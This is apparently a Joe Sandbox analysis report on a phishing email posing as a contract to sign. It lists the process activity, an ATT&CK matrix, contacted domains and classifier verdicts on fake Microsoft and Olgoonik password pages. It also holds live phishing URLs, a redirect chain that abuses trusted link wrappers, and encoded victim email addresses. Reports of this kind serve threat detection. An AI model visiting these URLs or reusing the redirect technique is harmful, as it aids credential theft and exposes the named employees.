Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 DLL Side-Loading	1 Process Injection	LSASS Memory	12 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://jquery.org/license	0%	URL Reputation	safe
http://sizzlejs.com/	0%	URL Reputation	safe
http://schema.org/WebPage	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
http://javascript.nwbox.com/IEContentLoaded/	0%	URL Reputation	safe
http://jquery.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
google.com	142.250.185.142	true	false	unknown
www.google.ca	142.250.186.131	true	false	unknown
freeipapi.com	188.114.96.3	true	false	unknown
fidgetvfx.nz	203.28.49.249	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
nam04.safelinks.eop-tm2.outlook.com	104.47.74.28	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
sni1gl.wpc.upsiloncdn.net	152.199.21.175	true	false	unknown
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	unknown
d3bl0rsvnw97mw.cloudfront.net	108.156.46.59	true	false	unknown
www.google.com	142.250.186.164	true	false	unknown
pub-80685e4418f74026adc8912a5ab063db.r2.dev	172.66.0.235	true	true	unknown
w2yf5cltgv.tkllop.online	104.21.57.143	true	false	unknown
nam04.safelinks.protection.outlook.com	unknown	unknown	false	unknown
aadcdn.msftauth.net	unknown	unknown	false	unknown
aadcdn.msauthimages.net	unknown	unknown	false	unknown
url.avanan.click	unknown	unknown	false	unknown
www.tiktok.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fidgetvfx.nz/favicon.ico	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/key_workshcool.png	false		unknown
https://w2yf5cltgv.tkllop.online/check_add_user/	false		unknown
https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA	false		unknown
https://w2yf5cltgv.tkllop.online/psszs/	false		unknown
https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/favicon.ico	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/person_office.png	false		unknown
https://fidgetvfx.nz/.amg	false		unknown
https://w2yf5cltgv.tkllop.online/get_logo_banner/	false		unknown
https://w2yf5cltgv.tkllop.online/obufsssssssscaaatoion/	false		unknown
https://w2yf5cltgv.tkllop.online/redirect_tos/	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/logo-off-1.png	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/bg_normal.png	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/auth_number.png	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/person_workshcool.png	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	URL Reputation: safe	unknown
https://www.google.ca/amp/s/fidgetvfx.nz/.amg	false		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg	false		unknown
https://aadcdn.msauthimages.net/dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/bannerlogo?ts=636613980192295167	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/2fa_authenticator.png	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/call_2fa.png	false		unknown
https://www.google.ca/url?q=amp%2Fs%2Ffidgetvfx.nz%2F.amg&safe=active	false		unknown
https://google.com/	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0	false		unknown
https://code.jquery.com/jquery-1.9.1.js	false		unknown
https://fidgetvfx.nz/.amg/#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	true		unknown
https://w2yf5cltgv.tkllop.online/static/media/message_think.png	false		unknown
https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	true		unknown
https://w2yf5cltgv.tkllop.online/static/media/godaddy-left.png	false		unknown
https://fidgetvfx.nz/.amg/	false		unknown
https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html	false		unknown
https://aadcdn.msauthimages.net/dbd5a2dd-gjxa816q3hienf9dbdm74agls6vi13-nhvsh77xhbcm/logintenantbranding/0/illustration?ts=636613980171400016	false		unknown
https://w2yf5cltgv.tkllop.online/static/media/microsoft_logo.png/	false		unknown
https://www.google.com/	false		unknown
https://freeipapi.com/api/json/	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jquery.org/license	chromecache_164.11.dr, chromecache_152.11.dr	false	URL Reputation: safe	unknown
http://sizzlejs.com/	chromecache_164.11.dr, chromecache_152.11.dr	false	URL Reputation: safe	unknown
https://www.google.com/intl/en/about/products	chromecache_176.11.dr	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___h	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg, ~WRS{99C475B5-A533-44BC-8EFC-4FAEFE7DD435}.tmp.1.dr	false		unknown
http://jsperf.com/getall-vs-sizzle/2	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://schema.org/WebPage	chromecache_176.11.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_164.11.dr, chromecache_152.11.dr	false	URL Reputation: safe	unknown
http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://bugs.jquery.com/ticket/12282#comment:15	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://ogs.google.com/widget/callout?eom=1	chromecache_176.11.dr	false	URL Reputation: safe	unknown
https://apis.google.com	chromecache_176.11.dr	false	URL Reputation: safe	unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_157.11.dr	false		unknown
https://github.com/jquery/jquery/pull/764	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://ogs.google.com/widget/app/so?eom=1	chromecache_176.11.dr	false		unknown
http://bugs.jquery.com/ticket/12359	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://json.org/json2.js	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://www.google.com/_/og/promos/	chromecache_176.11.dr	false		unknown
http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fx.com%2F&data=05%7C02%7Cjperez%40o	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg, ~WRS{99C475B5-A533-44BC-8EFC-4FAEFE7DD435}.tmp.1.dr	false		unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_164.11.dr, chromecache_152.11.dr	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?prid=19037050	chromecache_176.11.dr	false		unknown
https://developer.mozilla.org/en/Security/CSP)	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://www.cloudflare.com/favicon.ico	chromecache_157.11.dr	false		unknown
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_164.11.dr, chromecache_152.11.dr	false		unknown
http://javascript.nwbox.com/IEContentLoaded/	chromecache_164.11.dr, chromecache_152.11.dr	false	URL Reputation: safe	unknown
http://jquery.com/	chromecache_164.11.dr, chromecache_152.11.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
108.138.7.53	unknown	United States	16509	AMAZON-02US	false
104.47.74.28	nam04.safelinks.eop-tm2.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.142	google.com	United States	15169	GOOGLEUS	false
104.21.57.143	w2yf5cltgv.tkllop.online	United States	13335	CLOUDFLARENETUS	false
142.250.186.131	www.google.ca	United States	15169	GOOGLEUS	false
172.66.0.235	pub-80685e4418f74026adc8912a5ab063db.r2.dev	United States	13335	CLOUDFLARENETUS	true
142.250.184.227	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.36	unknown	United States	15169	GOOGLEUS	false
108.156.46.59	d3bl0rsvnw97mw.cloudfront.net	United States	16509	AMAZON-02US	false
203.28.49.249	fidgetvfx.nz	Australia	38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	freeipapi.com	European Union	13335	CLOUDFLARENETUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
152.199.21.175	sni1gl.wpc.upsiloncdn.net	United States	15133	EDGECASTUS	false
142.250.186.100	unknown	United States	15169	GOOGLEUS	false
104.47.73.156	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528365
Start date and time:	2024-10-07 20:57:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg
Detection:	MAL
Classification:	mal76.phis.winMSG@32/81@60/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .msg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.113.194.132, 52.109.32.38, 52.109.32.46, 52.109.32.39, 52.109.32.47, 104.208.16.92, 142.250.181.227, 142.250.186.78, 108.177.15.84, 34.104.35.123, 2.16.238.20, 2.16.238.18, 2.16.238.19, 2.16.238.7, 2.16.238.24, 2.16.238.23, 2.16.238.25, 2.16.238.8, 2.16.238.27, 20.189.173.13, 216.58.212.138, 142.250.185.202, 172.217.18.106, 172.217.23.106, 216.58.206.42, 142.250.186.138, 142.250.186.170, 142.250.185.74, 142.250.184.234, 142.250.185.234, 216.58.212.170, 142.250.186.106, 142.250.185.170, 142.250.185.106, 142.250.181.234, 172.217.16.202, 20.42.72.131, 20.42.65.90, 142.250.186.42, 142.250.186.74, 142.250.74.202, 172.217.16.138, 142.250.185.138, 142.250.184.195, 20.42.73.27, 142.250.185.163, 142.250.185.238, 2.19.126.87, 2.19.126.92, 2.19.126.94, 2.19.126.88, 2.19.126.95, 2.19.126.90, 2.19.126.93, 2.19.126.91, 2.19.126.89
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, onedscolprdeus14.eastus.cloudapp.azure.com, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, onedscolprdcus23.centralus.cloudapp.azure.com, clients2.google.com, aadcdn.azureedge.net, aadcdn.ec.azureedge.net, update.googleapis.com, ecs.office.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, www.googleapis.com, s-0005-office.config.skype.com, onedscolprdeus12.eastus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, a2047.api10.akamai.net, prod1.naturallanguageeditorservice.osi.office.net.akadns.net, nleditor.osi.office.net, prod-eu-resolver.naturallanguageeditorservice.osi.office.net.akadns.net, edgedl.me.gvt1.com, onedscolprdwus12.westus.cloudapp.azure.com, s-0005.s-msedge.net, onedscolprdeus00.eastus.cloudapp.azure.com, ecs.office.trafficmanager.net, clients.l.google.com, mobile.events.data.trafficmanager.net, www.tiktok.com.edgesuite.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg

Input	Output
URL: Email Model: jbxai	{ "brand":["Olgoonik Development LLC"], "contains_trigger_text":true, "trigger_text":"Your attention is needed for a document awaiting review and signature", "prominent_button_name":"Review Document", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":true, "text":"Your attention is needed for a document awaiting review and signature Document file: Contract_Agreement_Olgoonik 229_6326.pdf", "has_visible_qrcode":false}

URL: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Model: jbxai	{ "brand":["Microsoft Security"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Success!", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"This page is running browser checks to ensure your security.", "has_visible_qrcode":false}

URL: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Model: jbxai	{ "brand":["Microsoft Security"], "contains_trigger_text":true, "trigger_text":"Verify you are human", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":true, "has_urgent_text":false, "text":"This page is running browser checks to ensure your security.", "has_visible_qrcode":false}

URL: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Model: jbxai	{ "brand":["Olgoonik"], "contains_trigger_text":true, "trigger_text":"Enter password", "prominent_button_name":"Sign in", "text_input_field_labels":["Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Because you're accessing sensitive info, you need to verify your password.", "has_visible_qrcode":false}

URL: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Model: jbxai	{ "phishing_score":9, "brands":"Microsoft Security", "legit_domain":"microsoft.com", "classification":"wellknown", "reasons":["The brand 'Microsoft Security' is associated with Microsoft, a well-known company.", "The URL 'pub-80685e4418f74026adc8912a5ab063db.r2.dev' does not match the legitimate domain 'microsoft.com'.", "The URL contains a random string and uses the 'r2.dev' domain, which is not associated with Microsoft.", "The use of a subdomain with a random string is a common tactic in phishing attempts.", "The domain 'r2.dev' is not a recognized domain for Microsoft services."], "brand_matches":[false], "url_match":false, "brand_input":"Microsoft Security", "input_fields":"unknown"}

URL: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/index.html#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Model: jbxai	{ "phishing_score":8, "brands":"Olgoonik", "legit_domain":"olgoonik.com", "classification":"unknown", "reasons":["The brand 'Olgoonik' is not widely recognized, making it difficult to classify as 'known' or 'wellknown'.", "The URL 'pub-80685e4418f74026adc8912a5ab063db.r2.dev' does not match the legitimate domain 'olgoonik.com'.", "The URL contains a long string of characters and uses a '.dev' domain, which is unusual for a legitimate business site.", "The presence of a password input field on a non-matching domain is suspicious and indicative of phishing."], "brand_matches":[false], "url_match":false, "brand_input":"Olgoonik", "input_fields":"Password"}

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
108.138.7.53	https://url.avanan.click/v2/r01/___https://outlook.office365.com/Encryption/retrieve.ashx?recipientemailaddress=thelma%40cff-inc.com&senderemailaddress=kathy.bailey%40lonza.com&senderorganization=AwGBAAAAAn0AAAADAQAAAJ9K%2fRMTXtxHi%2b1QncgMn6NPVT1sb256YWdyb3VwLm9ubWljcm9zb2Z0LmNvbSxPVT1NaWNyb3NvZnQgRXhjaGFuZ2UgSG9zdGVkIE9yZ2FuaXphdGlvbnMsREM9Q0hFUDI3OEEwMDMsREM9UFJPRCxEQz1PVVRMT09LLERDPUNPTbLGn%2fhBcFpOjLEkYEgYSiVDTj1Db25maWd1cmF0aW9uLENOPWxvbnphZ3JvdXAub25taWNyb3NvZnQuY29tLENOPUNvbmZpZ3VyYXRpb25Vbml0cyxEQz1DSEVQMjc4QTAwMyxEQz1QUk9ELERDPU9VVExPT0ssREM9Q09NAQ%3d%3d&messageid=%3cGV0P278MB0516749787EDB415655EDE56986F2%40GV0P278MB0516.CHEP278.PROD.OUTLOOK.COM%3e&cfmRecipient=SystemMailbox%7b0AF09B7F-434F-4B2F-9CBC-57639EDCFD9C%7d%40lonzagroup.onmicrosoft.com&consumerEncryption=false&senderorgid=44a3f7ad-8e4c-406b-9d15-d4ee6477c700&urldecoded=1&e4e_sdata=ghaACx80qmDxfGo88meHC%2fnTdStSqzLxi8DB4cLCRHoLChbdHgOIRat6RabHjzGlMNrZdAEMySojXEQZFCZXn8QcRxKgwWJAdyJ0Ms%2bUZPvkxG4N523sBYlwBwYIQl70IJpupBB%2bNxgSm31DoVdrisgj4x6W8F%2fvTetrk48N40RQlKsSwSwopFn6yzDvyQgXrcsY0uJCxPH8lLWAtrfNgLci7gng4LpkI7lADRrCJwdTtGuNXVgm1hZ6OHHMFVdKU9x1e5ZTRKhBMrlTp09wHICpL3%2fqOZFJmeiNn3u1RMH1PZWID7uBwc1pgNQ446A6LFdTg4YMOi87FBvPvPAJ3g%3d%3d___.YXAzOmlzc3lzdGVtc2luYy1jZmYtZmw6YTpvOjBjN2E3Y2U3NmM3YzljZDYxODZiYWQ2MjY4OTFlMjg4Ojc6OGZhMjozYjE4ZTlmZWQ4YTQzYzI3ODQ4MTFhNzU0MzhhYjRhNzVkNWJiYjVjYzVhMDZiOGM4YTViNmI4OGEyODFjZGM0Omg6VDpO	Get hash	malicious	Unknown	Browse
104.21.57.143	https://get.hidrive.com/YRicAY6k	Get hash	malicious	Unknown	Browse
104.21.57.143	phish_alert_sp2_2.0.0.0 (4).eml	Get hash	malicious	Unknown	Browse
172.66.0.235	http://pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html	Get hash	malicious	HTMLPhisher	Browse	pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html
	http://pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html	Get hash	malicious	HTMLPhisher	Browse	pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html
	http://pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html	Get hash	malicious	HTMLPhisher	Browse	pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html
	http://pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html	Get hash	malicious	HTMLPhisher	Browse	pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html
	http://pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html	Get hash	malicious	HTMLPhisher	Browse	pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html
	http://pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html
	http://pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html
	http://pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html
	http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html	Get hash	malicious	HTMLPhisher	Browse	pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html
	http://pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html	Get hash	malicious	Unknown	Browse	pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html
104.47.74.28	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse
